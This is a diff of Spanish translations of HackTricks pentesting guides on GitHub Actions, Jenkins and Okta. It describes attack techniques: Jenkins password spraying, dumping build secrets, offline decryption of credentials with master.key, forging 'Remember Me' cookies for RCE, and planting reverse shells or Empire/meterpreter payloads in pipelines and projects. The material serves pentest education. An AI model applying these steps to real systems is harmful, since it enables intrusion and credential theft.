the Action **podría tener acceso al endpoint de metadatos** and **robar el token de la cuenta de servicio** the machine is running with. +Si el **Github Runner personalizado está configurado en una máquina dentro de AWS o GCP**, por ejemplo, la acción **podría tener acceso al endpoint de metadatos** y **robar el token de la cuenta de servicio** con la que se está ejecutando la máquina. -### Git Action Compromise +### Compromiso de Git Action -If all actions (or a malicious action) are allowed a user could use a **Github action** that is **maliciosa** and will **comprometer** the **contenedor** where it's being executed. +Si se permiten todas las acciones (o una acción maliciosa), un usuario podría usar una **acción de Github** que es **maliciosa** y **comprometer** el **contenedor** donde se está ejecutando. > [!CAUTION] -> A **malicious Github Action** run could be **abusada** by the attacker to: +> Una **acción maliciosa de Github** ejecutada podría ser **abusada** por el atacante para: > -> - **Robar todos los secretos** the Action has access to -> - **Moverse lateralmente** if the Action is executed inside a **infraestructura de terceros** where the SA token used to run the machine can be accessed (probably via the metadata service) -> - **Abusar del token** used by the **workflow** to **robar el código del repo** where the Action is executed or **incluso modificarlo**. +> - **Robar todos los secretos** a los que la acción tiene acceso +> - **Moverse lateralmente** si la acción se ejecuta dentro de una **infraestructura de terceros** donde se puede acceder al token de SA utilizado para ejecutar la máquina (probablemente a través del servicio de metadatos) +> - **Abusar del token** utilizado por el **workflow** para **robar el código del repo** donde se ejecuta la acción o **incluso modificarlo**. -## Branch Protections +## Protecciones de Ramas -Branch protections are designed to **no dar control completo de un repositorio** to the users. The goal is to **poner varios métodos de protección antes de poder escribir código dentro de alguna rama**. +Las protecciones de ramas están diseñadas para **no dar control completo de un repositorio** a los usuarios. El objetivo es **implementar varios métodos de protección antes de poder escribir código dentro de alguna rama**. -The **branch protections of a repository** can be found in _https://github.com/\/\/settings/branches_ +Las **protecciones de ramas de un repositorio** se pueden encontrar en _https://github.com/\/\/settings/branches_ > [!NOTE] -> It's **no posible establecer una protección de rama a nivel de organización**. So all of them must be declared on each repo. +> **No es posible establecer una protección de rama a nivel de organización**. Por lo tanto, todas deben ser declaradas en cada repo. -Different protections can be applied to a branch (like to master): +Se pueden aplicar diferentes protecciones a una rama (como a master): -- You can **requerir un PR antes de fusionar** (so you cannot directly merge code over the branch). If this is select different other protections can be in place: -- **Requerir un número de aprobaciones**. It's very common to require 1 or 2 more people to approve your PR so a single user isn't capable of merge code directly. -- **Desestimar aprobaciones cuando se envían nuevos commits**. If not, a user may approve legit code and then the user could add malicious code and merge it. -- **Requerir revisiones de los Propietarios de Código**. At least 1 code owner of the repo needs to approve the PR (so "random" users cannot approve it) -- **Restringir quién puede desestimar revisiones de pull request.** You can specify people or teams allowed to dismiss pull request reviews. -- **Permitir actores especificados para eludir los requisitos de pull request**. These users will be able to bypass previous restrictions. -- **Requerir que las verificaciones de estado pasen antes de fusionar.** Some checks needs to pass before being able to merge the commit (like a github action checking there isn't any cleartext secret). -- **Requerir resolución de conversación antes de fusionar**. All comments on the code needs to be resolved before the PR can be merged. -- **Requerir commits firmados**. The commits need to be signed. -- **Requerir historia lineal.** Prevent merge commits from being pushed to matching branches. -- **Incluir administradores**. If this isn't set, admins can bypass the restrictions. -- **Restringir quién puede enviar a ramas coincidentes**. Restrict who can send a PR. +- Puedes **requerir un PR antes de fusionar** (por lo que no puedes fusionar código directamente sobre la rama). Si esto se selecciona, se pueden implementar otras protecciones: +- **Requerir un número de aprobaciones**. Es muy común requerir que 1 o 2 personas más aprueben tu PR para que un solo usuario no pueda fusionar código directamente. +- **Desestimar aprobaciones cuando se envían nuevos commits**. De lo contrario, un usuario puede aprobar código legítimo y luego el usuario podría agregar código malicioso y fusionarlo. +- **Requerir revisiones de los Propietarios de Código**. Al menos 1 propietario de código del repo necesita aprobar el PR (por lo que los usuarios "aleatorios" no pueden aprobarlo). +- **Restringir quién puede desestimar revisiones de solicitudes de extracción.** Puedes especificar personas o equipos autorizados para desestimar revisiones de solicitudes de extracción. +- **Permitir que actores especificados eviten los requisitos de solicitudes de extracción**. Estos usuarios podrán eludir restricciones anteriores. +- **Requerir que las verificaciones de estado pasen antes de fusionar.** Algunas verificaciones deben pasar antes de poder fusionar el commit (como una acción de github que verifica que no haya ningún secreto en texto claro). +- **Requerir resolución de conversaciones antes de fusionar**. Todos los comentarios sobre el código deben ser resueltos antes de que el PR pueda ser fusionado. +- **Requerir commits firmados**. Los commits deben estar firmados. +- **Requerir un historial lineal.** Evitar que se envíen commits de fusión a ramas coincidentes. +- **Incluir administradores**. Si esto no está configurado, los administradores pueden eludir las restricciones. +- **Restringir quién puede enviar a ramas coincidentes**. Restringir quién puede enviar un PR. > [!NOTE] -> As you can see, even if you managed to obtain some credentials of a user, **los repos pueden estar protegidos evitando que puedas enviar código a master** for example to compromise the CI/CD pipeline. +> Como puedes ver, incluso si lograste obtener algunas credenciales de un usuario, **los repos pueden estar protegidos evitando que puedas enviar código a master** por ejemplo para comprometer el pipeline de CI/CD. -## References +## Referencias - [https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization](https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization) - [https://docs.github.com/en/enterprise-server@3.3/admin/user-management/managing-users-in-your-enterprise/roles-in-an-enterprise](https://docs.github.com/en/enterprise-server@3.3/admin/user-management/managing-users-in-your-enterprise/roles-in-an-enterprise)[https://docs.github.com/en/enterprise-server](https://docs.github.com/en/enterprise-server@3.3/admin/user-management/managing-users-in-your-enterprise/roles-in-an-enterprise) diff --git a/src/pentesting-ci-cd/jenkins-security/README.md b/src/pentesting-ci-cd/jenkins-security/README.md index 7203cb9e0..64c7daad1 100644 --- a/src/pentesting-ci-cd/jenkins-security/README.md +++ b/src/pentesting-ci-cd/jenkins-security/README.md @@ -1,10 +1,10 @@ -# Jenkins Security +# Seguridad de Jenkins {{#include ../../banners/hacktricks-training.md}} ## Información Básica -Jenkins es una herramienta que ofrece un método sencillo para establecer un **entorno de integración continua** o **entrega continua** (CI/CD) para casi **cualquier** combinación de **lenguajes de programación** y repositorios de código fuente utilizando pipelines. Además, automatiza varias tareas rutinarias de desarrollo. Si bien Jenkins no elimina la **necesidad de crear scripts para pasos individuales**, proporciona una forma más rápida y robusta de integrar toda la secuencia de herramientas de construcción, prueba y despliegue que uno puede construir fácilmente de forma manual. +Jenkins es una herramienta que ofrece un método sencillo para establecer un **entorno de integración continua** o **entrega continua** (CI/CD) para casi **cualquier** combinación de **lenguajes de programación** y repositorios de código fuente utilizando pipelines. Además, automatiza varias tareas rutinarias de desarrollo. Aunque Jenkins no elimina la **necesidad de crear scripts para pasos individuales**, proporciona una forma más rápida y robusta de integrar toda la secuencia de herramientas de construcción, prueba y despliegue que uno puede construir manualmente. {{#ref}} basic-jenkins-information.md @@ -42,11 +42,11 @@ basic-jenkins-information.md ### Registro -Podrás encontrar instancias de Jenkins que **te permiten crear una cuenta e iniciar sesión en ella. Así de simple.** +Podrás encontrar instancias de Jenkins que **te permiten crear una cuenta e iniciar sesión en ella. Tan simple como eso.** ### **Inicio de Sesión SSO** -Además, si la **funcionalidad**/**plugins** de **SSO** están presentes, entonces deberías intentar **iniciar sesión** en la aplicación usando una cuenta de prueba (es decir, una **cuenta de prueba de Github/Bitbucket**). Truco de [**aquí**](https://emtunc.org/blog/01/2018/research-misconfigured-jenkins-servers/). +Además, si la **funcionalidad**/**plugins** de **SSO** estaban presentes, entonces deberías intentar **iniciar sesión** en la aplicación usando una cuenta de prueba (es decir, una **cuenta de prueba de Github/Bitbucket**). Truco de [**aquí**](https://emtunc.org/blog/01/2018/research-misconfigured-jenkins-servers/). ### Fuerza Bruta @@ -56,15 +56,15 @@ msf> use auxiliary/scanner/http/jenkins_login ``` ### Password spraying -Use [this python script](https://github.com/gquere/pwn_jenkins/blob/master/password_spraying/jenkins_password_spraying.py) or [this powershell script](https://github.com/chryzsh/JenkinsPasswordSpray). +Usa [este script de python](https://github.com/gquere/pwn_jenkins/blob/master/password_spraying/jenkins_password_spraying.py) o [este script de powershell](https://github.com/chryzsh/JenkinsPasswordSpray). -### Bypass de la lista blanca de IP +### Bypass de IP Whitelisting -Muchas organizaciones combinan **sistemas de gestión de control de versiones (SCM) basados en SaaS** como GitHub o GitLab con una **solución CI interna y autohospedada** como Jenkins o TeamCity. Esta configuración permite que los sistemas CI **reciban eventos de webhook de los proveedores de control de versiones SaaS**, principalmente para activar trabajos de pipeline. +Muchas organizaciones combinan **sistemas de gestión de control de versiones (SCM) basados en SaaS** como GitHub o GitLab con una **solución CI interna y autohospedada** como Jenkins o TeamCity. Esta configuración permite que los sistemas CI **reciban eventos de webhook de proveedores de control de versiones SaaS**, principalmente para activar trabajos de pipeline. -Para lograr esto, las organizaciones **agregan a la lista blanca** los **rangos de IP** de las **plataformas SCM**, permitiéndoles acceder al **sistema CI interno** a través de **webhooks**. Sin embargo, es importante tener en cuenta que **cualquiera** puede crear una **cuenta** en GitHub o GitLab y configurarla para **activar un webhook**, enviando potencialmente solicitudes al **sistema CI interno**. +Para lograr esto, las organizaciones **blanquean** los **rangos de IP** de las **plataformas SCM**, permitiéndoles acceder al **sistema CI interno** a través de **webhooks**. Sin embargo, es importante notar que **cualquiera** puede crear una **cuenta** en GitHub o GitLab y configurarla para **activar un webhook**, enviando potencialmente solicitudes al **sistema CI interno**. -Check: [https://www.paloaltonetworks.com/blog/prisma-cloud/repository-webhook-abuse-access-ci-cd-systems-at-scale/](https://www.paloaltonetworks.com/blog/prisma-cloud/repository-webhook-abuse-access-ci-cd-systems-at-scale/) +Verifica: [https://www.paloaltonetworks.com/blog/prisma-cloud/repository-webhook-abuse-access-ci-cd-systems-at-scale/](https://www.paloaltonetworks.com/blog/prisma-cloud/repository-webhook-abuse-access-ci-cd-systems-at-scale/) ## Abusos internos de Jenkins @@ -85,7 +85,7 @@ Si has accedido a Jenkins, puedes listar otros usuarios registrados en [http://1 ### Extracción de builds para encontrar secretos en texto claro -Use [this script](https://github.com/gquere/pwn_jenkins/blob/master/dump_builds/jenkins_dump_builds.py) para extraer las salidas de consola de los builds y las variables de entorno de los builds para encontrar, con suerte, secretos en texto claro. +Usa [este script](https://github.com/gquere/pwn_jenkins/blob/master/dump_builds/jenkins_dump_builds.py) para extraer las salidas de consola de los builds y las variables de entorno de los builds para encontrar, con suerte, secretos en texto claro. ```bash python3 jenkins_dump_builds.py -u alice -p alice http://127.0.0.1:8080/ -o build_dumps cd build_dumps @@ -135,7 +135,7 @@ Para explotar pipelines aún necesitas tener acceso a Jenkins. ### Construir Pipelines -**Pipelines** también pueden ser utilizados como **mecanismo de construcción en proyectos**, en ese caso se puede configurar un **archivo dentro del repositorio** que contendrá la sintaxis del pipeline. Por defecto se usa `/Jenkinsfile`: +**Pipelines** también pueden ser utilizados como **mecanismo de construcción en proyectos**, en ese caso se puede configurar un **archivo dentro del repositorio** que contendrá la sintaxis del pipeline. Por defecto se utiliza `/Jenkinsfile`: ![](<../../images/image (127).png>) @@ -174,7 +174,7 @@ STAGE_ENV_VAR = "Test stage ENV variables." } steps { ``` -### Dumping secrets +### Extracción de secretos Para obtener información sobre cómo se tratan generalmente los secretos en Jenkins, consulta la información básica: @@ -182,7 +182,7 @@ Para obtener información sobre cómo se tratan generalmente los secretos en Jen basic-jenkins-information.md {{#endref}} -Las credenciales pueden ser **alcanzadas por proveedores globales** (`/credentials/`) o por **proyectos específicos** (`/job//configure`). Por lo tanto, para exfiltrar todos ellos, necesitas **comprometer al menos todos los proyectos** que contienen secretos y ejecutar pipelines personalizados/contaminados. +Las credenciales pueden estar **alcanzadas a proveedores globales** (`/credentials/`) o a **proyectos específicos** (`/job//configure`). Por lo tanto, para exfiltrar todos ellos, necesitas **comprometer al menos todos los proyectos** que contienen secretos y ejecutar pipelines personalizados/contaminados. Hay otro problema, para obtener un **secreto dentro del env** de un pipeline, necesitas **conocer el nombre y tipo del secreto**. Por ejemplo, si intentas **cargar** un **secreto** de **`usernamePassword`** como un **secreto** de **`string`**, obtendrás este **error**: ``` @@ -320,13 +320,13 @@ Si puedes **ver la configuración de cada proyecto**, también puedes ver allí ![](<../../images/image (180).png>) -#### From Groovy +#### Desde Groovy {{#ref}} jenkins-dumping-secrets-from-groovy.md {{#endref}} -#### From disk +#### Desde el disco Estos archivos son necesarios para **desencriptar los secretos de Jenkins**: @@ -349,9 +349,9 @@ grep -lre "^\s*<[a-zA-Z]*>{[a-zA-Z0-9=+/]*}<" # Secret example credentials.xml: {AQAAABAAAAAwsSbQDNcKIRQMjEMYYJeSIxi2d3MHmsfW3d1Y52KMOmZ9tLYyOzTSvNoTXdvHpx/kkEbRZS9OYoqzGsIFXtg7cw==} ``` -#### Decrypt Jenkins secrets offline +#### Desencriptar secretos de Jenkins sin conexión -Si has volcado las **contraseñas necesarias para descifrar los secretos**, utiliza [**este script**](https://github.com/gquere/pwn_jenkins/blob/master/offline_decryption/jenkins_offline_decrypt.py) **para descifrar esos secretos**. +Si has volcado las **contraseñas necesarias para desencriptar los secretos**, utiliza [**este script**](https://github.com/gquere/pwn_jenkins/blob/master/offline_decryption/jenkins_offline_decrypt.py) **para desencriptar esos secretos**. ```bash python3 jenkins_offline_decrypt.py master.key hudson.util.Secret cred.xml 06165DF2-C047-4402-8CAB-1C8EC526C115 @@ -365,11 +365,11 @@ println(hudson.util.Secret.decrypt("{...}")) ``` ### Crear un nuevo usuario administrador -1. Accede al archivo Jenkins config.xml en `/var/lib/jenkins/config.xml` o `C:\Program Files (x86)\Jenkins\` +1. Accede al archivo config.xml de Jenkins en `/var/lib/jenkins/config.xml` o `C:\Program Files (x86)\Jenkis\` 2. Busca la palabra `true` y cambia la palabra **`true`** a **`false`**. 1. `sed -i -e 's/truefalsetrue` y **reinicia Jenkins nuevamente**. ## Referencias diff --git a/src/pentesting-ci-cd/jenkins-security/basic-jenkins-information.md b/src/pentesting-ci-cd/jenkins-security/basic-jenkins-information.md index 13489bae8..5f194926a 100644 --- a/src/pentesting-ci-cd/jenkins-security/basic-jenkins-information.md +++ b/src/pentesting-ci-cd/jenkins-security/basic-jenkins-information.md @@ -14,7 +14,7 @@ Si una **cookie autorizada es robada**, puede ser utilizada para acceder a la se ### SSO/Plugins -Jenkins puede ser configurado usando plugins para ser **accesible a través de SSO de terceros**. +Jenkins se puede configurar utilizando plugins para ser **accesible a través de SSO de terceros**. ### Tokens @@ -22,7 +22,7 @@ Jenkins puede ser configurado usando plugins para ser **accesible a través de S ### Claves SSH -Este componente proporciona un servidor SSH integrado para Jenkins. Es una interfaz alternativa para el [Jenkins CLI](https://www.jenkins.io/doc/book/managing/cli/), y los comandos pueden ser invocados de esta manera usando cualquier cliente SSH. (De la [documentación](https://plugins.jenkins.io/sshd/)) +Este componente proporciona un servidor SSH integrado para Jenkins. Es una interfaz alternativa para el [Jenkins CLI](https://www.jenkins.io/doc/book/managing/cli/), y los comandos se pueden invocar de esta manera utilizando cualquier cliente SSH. (De los [docs](https://plugins.jenkins.io/sshd/)) ## Autorización @@ -35,17 +35,17 @@ En `/configureSecurity` es posible **configurar el método de autorización de J ![](<../../images/image (149).png>) -- **Estrategia de Autorización Basada en Proyectos:** Este modo es una **extensión** de "**seguridad basada en matriz**" que permite definir una matriz ACL adicional para ser **definida para cada proyecto por separado.** -- **Estrategia Basada en Roles:** Permite definir autorizaciones usando una **estrategia basada en roles**. Administra los roles en `/role-strategy`. +- **Estrategia de Autorización Basada en Proyectos:** Este modo es una **extensión** de "**seguridad basada en matriz**" que permite definir una matriz ACL adicional para **cada proyecto por separado.** +- **Estrategia Basada en Roles:** Permite definir autorizaciones utilizando una **estrategia basada en roles**. Administra los roles en `/role-strategy`. ## **Reino de Seguridad** En `/configureSecurity` es posible **configurar el reino de seguridad.** Por defecto, Jenkins incluye soporte para algunos reinos de seguridad diferentes: - **Delegar al contenedor de servlets**: Para **delegar la autenticación a un contenedor de servlets que ejecuta el controlador de Jenkins**, como [Jetty](https://www.eclipse.org/jetty/). -- **Base de datos de usuarios propia de Jenkins:** Usa **la propia base de datos de usuarios integrada de Jenkins** para la autenticación en lugar de delegar a un sistema externo. Esto está habilitado por defecto. +- **Base de datos de usuarios propia de Jenkins:** Utiliza **la propia base de datos de usuarios integrada de Jenkins** para la autenticación en lugar de delegar a un sistema externo. Esto está habilitado por defecto. - **LDAP**: Delegar toda la autenticación a un servidor LDAP configurado, incluyendo tanto usuarios como grupos. -- **Base de datos de usuarios/grupos de Unix**: **Delegar la autenticación a la base de datos de usuarios a nivel de OS de Unix** en el controlador de Jenkins. Este modo también permitirá la reutilización de grupos de Unix para autorización. +- **Base de datos de usuarios/grupos de Unix**: **Delegar la autenticación a la base de datos de usuarios a nivel de OS de Unix** en el controlador de Jenkins. Este modo también permitirá reutilizar grupos de Unix para autorización. Los plugins pueden proporcionar reinos de seguridad adicionales que pueden ser útiles para incorporar Jenkins en sistemas de identidad existentes, como: @@ -55,19 +55,19 @@ Los plugins pueden proporcionar reinos de seguridad adicionales que pueden ser ## Nodos, Agentes y Ejecutores de Jenkins -Definiciones de la [documentación](https://www.jenkins.io/doc/book/managing/nodes/): +Definiciones de los [docs](https://www.jenkins.io/doc/book/managing/nodes/): **Nodos** son las **máquinas** en las que se ejecutan los **agentes de construcción**. Jenkins monitorea cada nodo adjunto en cuanto a espacio en disco, espacio temporal libre, intercambio libre, tiempo/sincronización del reloj y tiempo de respuesta. Un nodo se desconecta si alguno de estos valores sale del umbral configurado. -**Agentes** **gestionan** la **ejecución de tareas** en nombre del controlador de Jenkins utilizando **ejecutores**. Un agente puede usar cualquier sistema operativo que soporte Java. Las herramientas requeridas para construcciones y pruebas se instalan en el nodo donde se ejecuta el agente; pueden **ser instaladas directamente o en un contenedor** (Docker o Kubernetes). Cada **agente es efectivamente un proceso con su propio PID** en la máquina host. +**Agentes** **gestionan** la **ejecución de tareas** en nombre del controlador de Jenkins utilizando **ejecutores**. Un agente puede usar cualquier sistema operativo que soporte Java. Las herramientas requeridas para construcciones y pruebas se instalan en el nodo donde se ejecuta el agente; pueden **instalarse directamente o en un contenedor** (Docker o Kubernetes). Cada **agente es efectivamente un proceso con su propio PID** en la máquina host. -Un **ejecutor** es un **espacio para la ejecución de tareas**; efectivamente, es **un hilo en el agente**. El **número de ejecutores** en un nodo define el número de **tareas concurrentes** que pueden ser ejecutadas en ese nodo al mismo tiempo. En otras palabras, esto determina el **número de `stages` de Pipeline concurrentes** que pueden ejecutarse en ese nodo al mismo tiempo. +Un **ejecutor** es un **espacio para la ejecución de tareas**; efectivamente, es **un hilo en el agente**. El **número de ejecutores** en un nodo define el número de **tareas concurrentes** que se pueden ejecutar en ese nodo al mismo tiempo. En otras palabras, esto determina el **número de `stages` de Pipeline concurrentes** que pueden ejecutarse en ese nodo al mismo tiempo. ## Secretos de Jenkins ### Cifrado de Secretos y Credenciales -Definición de la [documentación](https://www.jenkins.io/doc/developer/security/secrets/#encryption-of-secrets-and-credentials): Jenkins utiliza **AES para cifrar y proteger secretos**, credenciales y sus respectivas claves de cifrado. Estas claves de cifrado se almacenan en `$JENKINS_HOME/secrets/` junto con la clave maestra utilizada para proteger dichas claves. Este directorio debe ser configurado para que solo el usuario del sistema operativo bajo el cual se ejecuta el controlador de Jenkins tenga acceso de lectura y escritura a este directorio (es decir, un valor de `chmod` de `0700` o usando atributos de archivo apropiados). La **clave maestra** (a veces referida como "clave de cifrado de clave" en jerga criptográfica) se **almacena \_sin cifrar\_** en el sistema de archivos del controlador de Jenkins en **`$JENKINS_HOME/secrets/master.key`** lo que no protege contra atacantes con acceso directo a ese archivo. La mayoría de los usuarios y desarrolladores utilizarán estas claves de cifrado indirectamente a través de la API [Secret](https://javadoc.jenkins.io/byShortName/Secret) para cifrar datos secretos genéricos o a través de la API de credenciales. Para los curiosos sobre criptografía, Jenkins utiliza AES en modo de encadenamiento de bloques de cifrado (CBC) con relleno PKCS#5 y IVs aleatorios para cifrar instancias de [CryptoConfidentialKey](https://javadoc.jenkins.io/byShortName/CryptoConfidentialKey) que se almacenan en `$JENKINS_HOME/secrets/` con un nombre de archivo correspondiente a su id de `CryptoConfidentialKey`. Los ids de clave comunes incluyen: +Definición de los [docs](https://www.jenkins.io/doc/developer/security/secrets/#encryption-of-secrets-and-credentials): Jenkins utiliza **AES para cifrar y proteger secretos**, credenciales y sus respectivas claves de cifrado. Estas claves de cifrado se almacenan en `$JENKINS_HOME/secrets/` junto con la clave maestra utilizada para proteger dichas claves. Este directorio debe configurarse para que solo el usuario del sistema operativo bajo el cual se ejecuta el controlador de Jenkins tenga acceso de lectura y escritura a este directorio (es decir, un valor de `chmod` de `0700` o utilizando atributos de archivo apropiados). La **clave maestra** (a veces referida como "clave de cifrado" en jerga criptográfica) se **almacena \_sin cifrar\_** en el sistema de archivos del controlador de Jenkins en **`$JENKINS_HOME/secrets/master.key`** lo que no protege contra atacantes con acceso directo a ese archivo. La mayoría de los usuarios y desarrolladores utilizarán estas claves de cifrado de manera indirecta a través de la API [Secret](https://javadoc.jenkins.io/byShortName/Secret) para cifrar datos secretos genéricos o a través de la API de credenciales. Para los curiosos sobre criptografía, Jenkins utiliza AES en modo de encadenamiento de bloques (CBC) con relleno PKCS#5 y IVs aleatorios para cifrar instancias de [CryptoConfidentialKey](https://javadoc.jenkins.io/byShortName/CryptoConfidentialKey) que se almacenan en `$JENKINS_HOME/secrets/` con un nombre de archivo correspondiente a su id de `CryptoConfidentialKey`. Los ids de clave comunes incluyen: - `hudson.util.Secret`: utilizado para secretos genéricos; - `com.cloudbees.plugins.credentials.SecretBytes.KEY`: utilizado para algunos tipos de credenciales; @@ -75,9 +75,9 @@ Definición de la [documentación](https://www.jenkins.io/doc/developer/security ### Acceso a Credenciales -Las credenciales pueden ser **alcanzadas por proveedores globales** (`/credentials/`) que pueden ser accedidos por cualquier proyecto configurado, o pueden ser limitadas a **proyectos específicos** (`/job//configure`) y, por lo tanto, solo accesibles desde el proyecto específico. +Las credenciales pueden ser **escaladas a proveedores globales** (`/credentials/`) que pueden ser accedidos por cualquier proyecto configurado, o pueden ser escaladas a **proyectos específicos** (`/job//configure`) y, por lo tanto, solo accesibles desde el proyecto específico. -Según [**la documentación**](https://www.jenkins.io/blog/2019/02/21/credentials-masking/): Las credenciales que están en alcance están disponibles para la pipeline sin limitaciones. Para **prevenir la exposición accidental en el registro de construcción**, las credenciales son **enmascaradas** de la salida regular, por lo que una invocación de `env` (Linux) o `set` (Windows), o programas que imprimen su entorno o parámetros **no las revelaría en el registro de construcción** a usuarios que de otro modo no tendrían acceso a las credenciales. +Según [**los docs**](https://www.jenkins.io/blog/2019/02/21/credentials-masking/): Las credenciales que están en el ámbito se ponen a disposición de la pipeline sin limitaciones. Para **prevenir la exposición accidental en el registro de construcción**, las credenciales son **enmascaradas** de la salida regular, por lo que una invocación de `env` (Linux) o `set` (Windows), o programas que imprimen su entorno o parámetros **no las revelarían en el registro de construcción** a usuarios que de otro modo no tendrían acceso a las credenciales. **Por eso, para exfiltrar las credenciales, un atacante necesita, por ejemplo, codificarlas en base64.** diff --git a/src/pentesting-ci-cd/jenkins-security/jenkins-arbitrary-file-read-to-rce-via-remember-me.md b/src/pentesting-ci-cd/jenkins-security/jenkins-arbitrary-file-read-to-rce-via-remember-me.md index 829462d04..de2e31741 100644 --- a/src/pentesting-ci-cd/jenkins-security/jenkins-arbitrary-file-read-to-rce-via-remember-me.md +++ b/src/pentesting-ci-cd/jenkins-security/jenkins-arbitrary-file-read-to-rce-via-remember-me.md @@ -1,14 +1,14 @@ -# Jenkins Arbitrary File Read to RCE via "Remember Me" +# Jenkins Lectura Arbitraria de Archivos a RCE a través de "Recordarme" {{#include ../../banners/hacktricks-training.md}} En esta publicación de blog es posible encontrar una gran manera de transformar una vulnerabilidad de Inclusión de Archivos Local en Jenkins en RCE: [https://blog.securelayer7.net/spring-cloud-skipper-vulnerability/](https://blog.securelayer7.net/spring-cloud-skipper-vulnerability/) -Este es un resumen creado por IA de la parte de la publicación donde se abusa de la creación de una cookie arbitraria para obtener RCE abusando de una lectura de archivos locales hasta que tenga tiempo para crear un resumen por mi cuenta: +Este es un resumen creado por IA de la parte de la publicación donde se abusa de la creación de una cookie arbitraria para obtener RCE abusando de una lectura de archivos locales hasta que tenga tiempo de crear un resumen por mi cuenta: -### Requisitos Previos del Ataque +### Prerrequisitos del Ataque -- **Requisito de Función:** "Recuerdame" debe estar habilitado (configuración predeterminada). +- **Requisito de Función:** "Recordarme" debe estar habilitado (configuración predeterminada). - **Niveles de Acceso:** El atacante necesita permisos de Lectura/General. - **Acceso Secreto:** Capacidad para leer tanto contenido binario como textual de archivos clave. @@ -31,7 +31,7 @@ Este es un resumen creado por IA de la parte de la publicación donde se abusa d - **Clave Maestra:** `$JENKINS_HOME/secrets/master.key` - **Archivo de Clave MAC:** `$JENKINS_HOME/secrets/org.springframework.security.web.authentication.rememberme.TokenBasedRememberMeServices.mac` -#### Paso 2: Falsificación de Cookies +#### Paso 2: Forja de Cookies **Preparación del Token** @@ -84,7 +84,7 @@ username + ":" + tokenExpiryTime + ":" + tokenSignature - **Obtener Tokens CSRF y de Sesión:** - Hacer una solicitud a `/crumbIssuer/api/json` para obtener `Jenkins-Crumb`. -- Capturar `JSESSIONID` de la respuesta, que se utilizará junto con la cookie de "recuerdame". +- Capturar `JSESSIONID` de la respuesta, que se utilizará junto con la cookie de recordar-me. **Solicitud de Ejecución de Comando** diff --git a/src/pentesting-ci-cd/jenkins-security/jenkins-dumping-secrets-from-groovy.md b/src/pentesting-ci-cd/jenkins-security/jenkins-dumping-secrets-from-groovy.md index 216d1bf78..daf572db8 100644 --- a/src/pentesting-ci-cd/jenkins-security/jenkins-dumping-secrets-from-groovy.md +++ b/src/pentesting-ci-cd/jenkins-security/jenkins-dumping-secrets-from-groovy.md @@ -5,7 +5,7 @@ > [!WARNING] > Tenga en cuenta que estos scripts solo enumerarán los secretos dentro del archivo `credentials.xml`, pero **los archivos de configuración de compilación** también pueden tener **más credenciales**. -Puede **volcar todos los secretos desde la consola de scripts de Groovy** en `/script` ejecutando este código +Puede **volcar todos los secretos de la consola de scripts de Groovy** en `/script` ejecutando este código ```java // From https://www.dennisotugo.com/how-to-view-all-jenkins-secrets-credentials/ import jenkins.model.* diff --git a/src/pentesting-ci-cd/jenkins-security/jenkins-rce-creating-modifying-pipeline.md b/src/pentesting-ci-cd/jenkins-security/jenkins-rce-creating-modifying-pipeline.md index de8bf6c97..cf010934d 100644 --- a/src/pentesting-ci-cd/jenkins-security/jenkins-rce-creating-modifying-pipeline.md +++ b/src/pentesting-ci-cd/jenkins-security/jenkins-rce-creating-modifying-pipeline.md @@ -32,6 +32,6 @@ Finalmente, haz clic en **Guardar** y **Construir ahora** y el pipeline se ejecu ## Modificando un Pipeline -Si puedes acceder al archivo de configuración de algún pipeline configurado, podrías **modificarlo añadiendo tu reverse shell** y luego ejecutarlo o esperar a que se ejecute. +Si puedes acceder al archivo de configuración de algún pipeline configurado, podrías **modificarlo añadiendo tu reverse shell** y luego ejecutarlo o esperar a que se ejecute. {{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-ci-cd/jenkins-security/jenkins-rce-creating-modifying-project.md b/src/pentesting-ci-cd/jenkins-security/jenkins-rce-creating-modifying-project.md index 7f7562847..9040be0c7 100644 --- a/src/pentesting-ci-cd/jenkins-security/jenkins-rce-creating-modifying-project.md +++ b/src/pentesting-ci-cd/jenkins-security/jenkins-rce-creating-modifying-project.md @@ -4,7 +4,7 @@ ## Creando un Proyecto -Este método es muy ruidoso porque tienes que crear un proyecto completamente nuevo (obviamente esto solo funcionará si el usuario tiene permiso para crear un nuevo proyecto). +Este método es muy ruidoso porque tienes que crear un proyecto completamente nuevo (obviamente esto solo funcionará si se permite al usuario crear un nuevo proyecto). 1. **Crea un nuevo proyecto** (proyecto Freestyle) haciendo clic en "Nuevo Elemento" o en `/view/all/newJob` 2. Dentro de la sección **Construir**, establece **Ejecutar shell** y pega un lanzador de powershell Empire o un powershell de meterpreter (se puede obtener usando _unicorn_). Inicia la carga útil con _PowerShell.exe_ en lugar de usar _powershell._ @@ -16,7 +16,7 @@ Este método es muy ruidoso porque tienes que crear un proyecto completamente nu ## Modificando un Proyecto -Ve a los proyectos y verifica **si puedes configurar alguno** de ellos (busca el "botón de Configurar"): +Ve a los proyectos y verifica **si puedes configurar alguno** de ellos (busca el "botón Configurar"): ![](<../../images/image (265).png>) @@ -31,6 +31,6 @@ Si se te permite configurar el proyecto, puedes **hacer que ejecute comandos cua ![](<../../images/image (98).png>) Haz clic en **Guardar** y **construye** el proyecto y tu **comando será ejecutado**.\ -Si no estás ejecutando un shell inverso, sino un comando simple, puedes **ver la salida del comando dentro de la salida de la construcción**. +Si no estás ejecutando un shell reverso sino un comando simple, puedes **ver la salida del comando dentro de la salida de la construcción**. {{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-ci-cd/okta-security/README.md b/src/pentesting-ci-cd/okta-security/README.md index 554761587..54da7d77c 100644 --- a/src/pentesting-ci-cd/okta-security/README.md +++ b/src/pentesting-ci-cd/okta-security/README.md @@ -1,12 +1,12 @@ -# Okta Security +# Seguridad de Okta {{#include ../../banners/hacktricks-training.md}} -## Basic Information +## Información Básica [Okta, Inc.](https://www.okta.com/) es reconocida en el sector de gestión de identidad y acceso por sus soluciones de software basadas en la nube. Estas soluciones están diseñadas para agilizar y asegurar la autenticación de usuarios en diversas aplicaciones modernas. Atienden no solo a empresas que buscan proteger sus datos sensibles, sino también a desarrolladores interesados en integrar controles de identidad en aplicaciones, servicios web y dispositivos. -La oferta principal de Okta es la **Okta Identity Cloud**. Esta plataforma abarca un conjunto de productos, incluyendo, pero no limitado a: +La oferta principal de Okta es la **Okta Identity Cloud**. Esta plataforma abarca un conjunto de productos, incluyendo pero no limitado a: - **Single Sign-On 